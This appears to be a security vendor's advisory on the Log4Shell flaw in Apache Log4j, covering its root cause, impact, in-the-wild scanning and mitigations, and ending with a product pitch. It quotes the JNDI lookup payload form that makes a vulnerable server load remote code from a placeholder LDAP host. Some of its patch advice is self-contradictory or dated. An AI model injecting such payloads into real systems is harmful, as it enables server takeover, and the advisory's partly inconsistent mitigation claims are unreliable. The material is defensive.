Zero-Day RCE Vulnerability CVE-2021-44228 aka Critical Apache Log4j Remote Code Execution Vulnerability(Log4Shell)Affects Java
Background on Apache log4j
Apache log4j 2 is a Java-based logging framework (open-source) that is leveraged within numerous Java applications around the world. Compared with the original log4j 1. X release, log4j 2 addressed issues with the previous release and offered a plugin architecture for users. Apache Log4j 2 became the mainstream version on August 5th of 2015, and all the previous version log4j users were recommended to upgrade to log4j 2. Apache log4j is widely used in several popular software applications, like ElasticSearch, Apache Struts, Kafka, Redis, and others.
What Happened?
A remote code execution zero-day vulnerability (CVE-2021-44228) was identified in Apache Log4j which is a widely-used Java logging library being exploited in the wild. It enables threat actors to take full control of servers without authentication. The vulnerability was publicly disclosed via GitHub on 9th December 2021.
Java Development Kit versions 6u211, 7u201, 8u191, and 11.0.1 are not affected. In previous releases >2.10,
this behavior can be mitigated by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)
or
by setting system property “log4j2.formatMsgNoLookups” to “true”.
Java 8u121 protects against remote code execution by defaulting “com.sun.jndi.cosnaming.object.trustURLCodebase” and “com.sun.jndi.rmi.object.trustURLCodebase” to “false”.
Log4j log output permits the inclusion of variables that make Java logging more robust and verbose for local environments. This was added for “convenience,” as the originating pull request indicates from 2013 when this vulnerability was added.
The Apache log4j library allows developers to log various data within their applications. In some circumstances, the data logged originate from user input. If the user input contains special characters and is subsequently logged within the context of log4j, the Java method lookup will finally be called to execute the user-defined remote Java class in the LDAP server. It will lead to RCE on the victim server that uses the vulnerable Apache Log4j versions before 2.15.0 instances.
Minecraft was the first application known to be affected by this vulnerability. Cloud applications like Apple iCloud and Steam have already proven to be vulnerable.
About the vulnerability (CVE-2021-44228)
CVE-2021-44228 is known as Log4Shell and one of the biggest Java vulnerability we’ve seen in the last few years.
- CVSS score – CRTITICAL (10.0)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Affected Version: Apache Log4j 2.x <= 2.15.0-rc1
- Affected Software: A significant number of Java-based applications are using log4j as their logging utility.
According to the Apache Software Foundation, in Apache Log4j2 version 2.14.1 and earlier, “JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control the log message or log message parameters could execute arbitrary code loaded from the LDAP server if message lookup replacement is enabled. “It has also been pointed out that since Log4j v2.15.0 this behaviour is disabled by default.
Usually, a logging library has one job to swallow the string as if it is some black box and spit it elsewhere as per provided configurations. Log4j doesn’t treat strings as black boxes, instead, it inspects the contents and examines if it contains any “variables” that need to be resolved prior to spit out.
There are different ways to interpolate “variables” into log content. A single text string can trigger an application to reach an external location if it was logged through a vulnerable instance of log4j. An attacker could trigger an HTTP User-Agent. A header or a simple POST form request may provide special text in normal format. For instance, something like “Logging from ${java:vm}” will print “Logging from Oracle JVM”.
However, this also enables attackers to call external Java libraries via ${jdni:ldap:// and ${jndi:ldaps://, say “${jndi:ldap://someremoteclass}”, opening up the opportunity to perform shell dropping without much additional effort. Additionally, threat actors can leverage ${jdni:rmi to execute scripts or commands within the actual environment to deploy the RCE attack and drop shells.
“The log4j vulnerability analyzes this and reaches a malicious host through the Java Naming and Directory Interface. The initial stage resource acts as a stepping stone to another endpoint controlled by the attacker, providing Java code to be executed against the original target. Ultimately, this gives the attacker the opportunity to execute the required code on the target – remote code execution. ”
Root Cause Analysis
Apache log4j 2. X supports a mechanism called lookups, which is used to set up the log4j config flexibly for users. The official introduction about Lookups is as follows:
- Lookups allow a way to add values to the log4j configuration at arbitrary places. They are a specific kind of Plugin that implements the StrLookup interface.
- Regular users can conveniently and flexibly add values to the configuration at arbitrary places with the pre-designed format by this feature. When calling the log method in the application, log4j 2. X will call the format method to look over the specific characters ${ in every log.
- The Java method lookup will be called to find strings after the characters ${ and then replace the expression after the characters ${ with the real value found before.
- When calling the log function in the application to log the content the strings after the characters ${ will be considered as the parameter of the lookup method and finally replaced with the corresponding values.
Impact
If this vulnerability is exploited successfully, it may lead to sensitive data disclosure, modification or addition of data, or Denial of Service.
Vast attack surface
Due to the discovery of this exploit being so recent, there are still many servers, both on-premises and within cloud environments, that have yet to be patched. Unfortunately, libraries are frequently used in enterprise Java software.
An attacker is able to instruct that system to download and subsequently execute a malicious payload by submitting a specially crafted request to a vulnerable system, depending on how the system is configured.
Several services are already known to be vulnerable, for example, cloud services like Apple iCloud, Steam, and apps like Minecraft. Organizations using Apache Struts can be also vulnerable.
Many of the Security teams globally are trying to identify whether the applications used in their organization are using vulnerable libraries and can be exploited. So, we can expect a more accurate list with a wider security community in the upcoming days.
How Bad is This?
Apache Log4j is an incredibly common Java logging utility, found in a large portion of Java applications. We can expect this vulnerability to persist in environments that last for months to years because of its nature. To successfully execute an attack, a threat actor only needs to control a string that is logged out by a Java application that uses Log4j. No authentication is required to exploit this vulnerability.
Attackers started to leverage the User-Agent, URI Paths, and field POSTs largely as attack vectors into environments. Due to the ease of exploitation, we expect that these attacks will be added to a part of the normal offensive toolkit.
We expect threat actors to use this vulnerability as a new entry point to test whether they can access an environment. Through scanning, it is relatively easy for an attacker to drop the exploit in many different areas.
What Should I Do?
You can identify whether you are impacted by inspecting your service log files that use the affected Log4j versions. If those log files contain user-controlled strings like Jndi:ldap, then they might be impacted. All the Apache Log4j users should immediately upgrade to Log4j-2.15.0-rc2.
To mitigate this vulnerability, users should apply
‐Dlog4j2.formatMsgNoLookups=True
to the JVM command for starting the application.
In the coming days, we can see vendors release patches quickly and they must be applied as soon as possible. In some situations, like applications will either never be patched or will just be missed through the nature of the scope, we want to ensure that we are blocking potentially dangerous traffic through proper segmentation.
If you have a firewall that can perform inspection and block-based off of the User-Agent and request path, you can potentially mitigate this attack.
Using WAF, you can block the request patterns with URI, user agents, etc. These attacks are largely being inserted into the User-Agent by scan and exploit kits right now but can also occur through any open fields that could be logged out, e.g., Usernames in login fields or Paths in the actual requests.
Patch, Bypass, and Mitigation
With the official Apache patch being released, 2.15.0-rc1 was initially reported to have fixed the CVE-2021-44228 vulnerability. However, a subsequent bypass was discovered. A newly released 2.15.0-rc2 version was in turn released, which protects users against this vulnerability.
You can implement some mitigations. Customers of applications leveraging Apache log4j should upgrade to the newest version. Make sure your Java instance is up to date. However, this is a complete solution. We have to wait until the vendor pushes a security update for the affected product.
Since the original patch was discovered to be bypassed, in the interest of implementing as many protections against this vulnerability as possible, the following mitigations are also recommended:
- Disable suspicious outbound traffic, such as LDAP and RMI on the server in PANW Firewall.
- Disable JNDI lookup.
- Remove the JndiLookup file in the log4j-core and restart the service.
- Setup spring.jndi.ignore=true
In-the-Wild Attacks
Thus far, widespread scanning is taking place on the internet with the intention of identifying vulnerable instances of log4j. These scans are being made via HTTP and do not appear to be targeting any specific applications. Many of these requests are leveraging the User-Agent field in hopes of identifying and subsequently exploiting systems on the internet.
How Prophaze helps?
Prophaze customers are secured via Next-Generation Firewall with Behavioral Threat Protection that can detect continuous integration, container images, and host systems that maintain vulnerable instances of Log4j. Prophaze is actively monitoring the unusual traffic through our solutions. It can automatically block sessions related to this vulnerability by creating rules by the rule engine itself.
Prophaze solutions detect and alert you about suspicious behavior in your environment behind our solution so that you can block an incident early enough to prevent damage. Each finding we will share with you gives you clear recommendations on how to remediate an attack. Our support team of security analysts is always available to answer questions on how to interpret a finding, or for other security help.
Prophaze’s free trial is easy to deploy; IT and security teams can start seeing immediate security value for their organizations.
Conclusion
Currently, the CVE-2021-44228 vulnerability is being actively investigated in order to properly identify the full scope severity. This vulnerability may have a high impact at present and in the future. Many of the applications being affected are widely used in home networks as well as corporate networks. Users are recommended to take all necessary steps to make sure that they are secured against this vulnerability, as outlined above.
